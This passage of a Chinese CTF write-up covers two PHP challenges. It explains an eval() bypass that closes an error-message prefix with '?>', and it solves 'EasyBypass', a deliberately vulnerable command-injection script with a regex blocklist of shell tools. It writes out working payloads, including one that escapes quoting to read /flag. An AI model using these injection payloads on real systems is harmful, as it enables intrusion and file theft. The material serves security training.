说明:?><?=include~".urldecode("%D0%99%93%9E%98")."?>为什么要在前面加?>

Exception 类与 Error 的 __toString 方法在eval()函数中输出的结果是不可能控的

因为输出的报错信息中,payload前面还有一段杂乱信息Error:

就比如我们之前的那个demo

img

进入eval()函数就会以这样的形式:eval("...Error: <?php payload ?>")

所以我们要用sql注入的思想 ?> 来闭合一下

eval("...Error: ?><?php payload ?>"),这样我们的恶意代码就可以顺利执行了。

参考:https://johnfrod.top/ctf/2020-%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98greatphp/

112、EasyBypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

highlight_file(__FILE__);

$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];


if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
$comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
$comm2 = "";

$flag = "#flag in /flag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);
?>

给了源码 comm1没有过滤tac 因此我们就在这里构造

img

这道题目最重要的就是利用闭合的思想

$cmd = "file $comm1 $comm2";这句就是我们闭合逃逸的最重要的一句

file需要一个文件 那么我们就给他的一个index.php然后用”;去闭合

也就是$cmd = "file index.php"; $comm2";

再加上我们的恶意代码 构造index.php";tac /fla?;"

原式就会被我们构造成以下三段

1
2
3
$cmd = "file index.php";
tac /fla?;
" $comm2";

成功bypass

payload:?comm1=index.php";tac /fla?;"&comm2=1

本文最后更新于 天前,文中所描述的信息可能已发生改变